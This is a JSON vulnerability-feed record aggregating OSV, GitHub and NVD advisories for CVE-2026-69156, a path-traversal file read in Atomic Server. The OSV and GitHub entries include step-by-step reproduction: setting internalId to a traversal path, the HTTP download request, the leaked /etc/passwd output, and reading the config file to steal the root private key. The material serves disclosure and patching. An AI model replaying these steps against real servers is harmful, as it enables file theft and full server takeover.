{"vuln_id":"CVE-2026-69156","aliases":["GHSA-8vc4-8hjq-988p"],"description":"Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)","published_at":"2026-11-17T21:18:12.470000Z","modified_at":"2026-11-18T21:00:39.419615Z","first_seen_at":"2026-11-21T19:15:20.145647Z","severity":"high","severity_source":"nvd","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":["CWE-22"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.00584,"epss_percentile":0.48796,"nvd_status":"Received","enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-69156"},"matched_alias":null,"items":[{"id":11037,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-8vc4-8hjq-988p: Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)","summary":"Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)\n\n## Summary\n\nThe Commit apply path enforces **no allowlist of writable properties**, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value **verbatim** as a filesystem path — `file_path.push(internal_id); NamedFile::open(file_path)` — with **no sanitization and no containment check** (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads **any file on the host**. The highest-value target is the server config file storing the **root agent private key**, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`.\n\n## Affected component\n\n- `server/src/handlers/download.rs:56-65` — `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check.\n- `lib/src/commit.rs` (`apply_changes`) — sets any property; no server-managed-property denylist.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately).\n\n1. Create a resource and set `internalId` to a traversal path — sign the Commit and `POST /commit` (200):\n\n```\nsubject = http://localhost:9883/pwnfile\nset = {\n\"https://atomicdata.dev/properties/parent\": \"http://localhost:9883\",\n\"https://atomicdata.dev/properties/internalId\": \"../../../../../../../../etc/passwd\"\n}\n```\n\n2. Download it. The auth signature is over the **resolved subject** (the server strips the `/download` prefix → `http://localhost:9883/pwnfile`):\n\n```http\nGET /download/pwnfile HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key:\n\nx-atomic-agent: http://localhost:9883/agents/\n\nx-atomic-timestamp:\n\nx-atomic-signature:\n\")>\n```\n\nResponse `200 OK` returns the host `/etc/passwd`:\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...\n```\n\n3. Escalate — set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again:\n\n```toml\nserver = \"http://localhost:9883\"\nagent = \"http://localhost:9883/agents/+/KwsAmyzc7S/...\"\nprivate_key = \"REDACTED-ROOT-ED25519-PRIVATE-KEY\" # server root agent key\n```\n\n4. Using the stolen key, the attacker signs a Commit with `signer =\n` → `POST /commit` (200) edits data **as root**. Full compromise.\n\n**Expected:** `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`.\n**Actual:** Arbitrary host file read, including the root private key.\n\n## Impact\n\nArbitrary file read as the server process: `/etc/passwd`,\n\nAffected: crates.io:atomic-server\n\nNo fixed version published yet\n\nReferences:\nhttps://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-69156\nhttps://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61\nhttps://github.com/ontola/atomic-server\nhttps://github.com/ontola/atomic-server/releases/tag/v0.40.3","url":"https://osv.dev/vulnerability/GHSA-8vc4-8hjq-988p","published_at":"2026-11-18T20:42:15Z","updated_at":"2026-11-18T21:00:39.419615Z","fetched_at":"2026-11-21T19:15:55.946385Z","severity":"high","cvss_score":8.1,"epss":0.00584,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"atomic-server","vuln_id":"CVE-2026-69156","vuln_ids":["CVE-2026-69156","GHSA-8VC4-8HJQ-988P"],"tags":["osv","crates.io","no-fix-yet"],"cluster_id":2305,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/11037","html":"https://vulnwatch.ve1ve2.com/item/11037"}},{"id":2437,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-8vc4-8hjq-988p / CVE-2026-69156: Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)","summary":"Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)\n\n## Summary\n\nThe Commit apply path enforces **no allowlist of writable properties**, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value **verbatim** as a filesystem path — `file_path.push(internal_id); NamedFile::open(file_path)` — with **no sanitization and no containment check** (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads **any file on the host**. The highest-value target is the server config file storing the **root agent private key**, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`.\n\n## Affected component\n\n- `server/src/handlers/download.rs:56-65` — `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check.\n- `lib/src/commit.rs` (`apply_changes`) — sets any property; no server-managed-property denylist.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately).\n\n1. Create a resource and set `internalId` to a traversal path — sign the Commit and `POST /commit` (200):\n\n```\nsubject = http://localhost:9883/pwnfile\nset = {\n\"https://atomicdata.dev/properties/parent\": \"http://localhost:9883\",\n\"https://atomicdata.dev/properties/internalId\": \"../../../../../../../../etc/passwd\"\n}\n```\n\n2. Download it. The auth signature is over the **resolved subject** (the server strips the `/download` prefix → `http://localhost:9883/pwnfile`):\n\n```http\nGET /download/pwnfile HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key:\n\nx-atomic-agent: http://localhost:9883/agents/\n\nx-atomic-timestamp:\n\nx-atomic-signature:\n\")>\n```\n\nResponse `200 OK` returns the host `/etc/passwd`:\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...\n```\n\n3. Escalate — set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again:\n\n```toml\nserver = \"http://localhost:9883\"\nagent = \"http://localhost:9883/agents/+/KwsAmyzc7S/...\"\nprivate_key = \"REDACTED-ROOT-ED25519-PRIVATE-KEY\" # server root agent key\n```\n\n4. Using the stolen key, the attacker signs a Commit with `signer =\n` → `POST /commit` (200) edits data **as root**. Full compromise.\n\n**Expected:** `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`.\n**Actual:** Arbitrary host file read, including the root private key.\n\n## Impact\n\nArbitrary file read as the server process: `/etc/passwd`,\n\nAffected packages: rust:atomic-server","url":"https://github.com/advisories/GHSA-8vc4-8hjq-988p","published_at":"2026-11-18T20:42:15Z","updated_at":"2026-11-18T20:42:16Z","fetched_at":"2026-11-21T19:15:18.416835Z","severity":"high","cvss_score":8.1,"epss":0.00584,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"atomic-server","vuln_id":"CVE-2026-69156","vuln_ids":["CVE-2026-69156","GHSA-8VC4-8HJQ-988P"],"tags":["ghsa","rust","CWE-22"],"cluster_id":2305,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2437","html":"https://vulnwatch.ve1ve2.com/item/2437"}},{"id":6915,"source":{"id":"nvd","name":"NVD CVE API 2.0"},"title":"CVE-2026-69156: Atomic Server is an open source headless CMS and real-time database. From 0.30.0 until 0.40.3, the Commit application path in lib/src/commit.rs allows an authe…","summary":"Atomic Server is an open source headless CMS and real-time database. From 0.30.0 until 0.40.3, the Commit application path in lib/src/commit.rs allows an authenticated Agent to assign the server-managed internalId property to an owned resource without character validation. The /download handler in server/src/handlers/download.rs passes that value to filesystem path construction and NamedFile::open without sanitization, containment validation, or a File-class check, so traversal or absolute paths can read files available to the server process. Reading the server configuration can expose the root Agent private key and allow root impersonation with full read, write, and delete access to server data. This issue is fixed in version 0.40.3.\n\nReferences:\nhttps://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61\nhttps://github.com/ontola/atomic-server/releases/tag/v0.40.3\nhttps://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p\nhttps://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69156","published_at":"2026-11-17T21:18:12.470000Z","updated_at":"2026-11-18T18:19:51.373000Z","fetched_at":"2026-11-21T19:15:31.482720Z","severity":"high","cvss_score":8.1,"epss":0.00584,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":null,"vuln_id":"CVE-2026-69156","vuln_ids":["CVE-2026-69156","GHSA-8VC4-8HJQ-988P"],"tags":["CWE-22"],"cluster_id":2306,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/6915","html":"https://vulnwatch.ve1ve2.com/item/6915"}}]}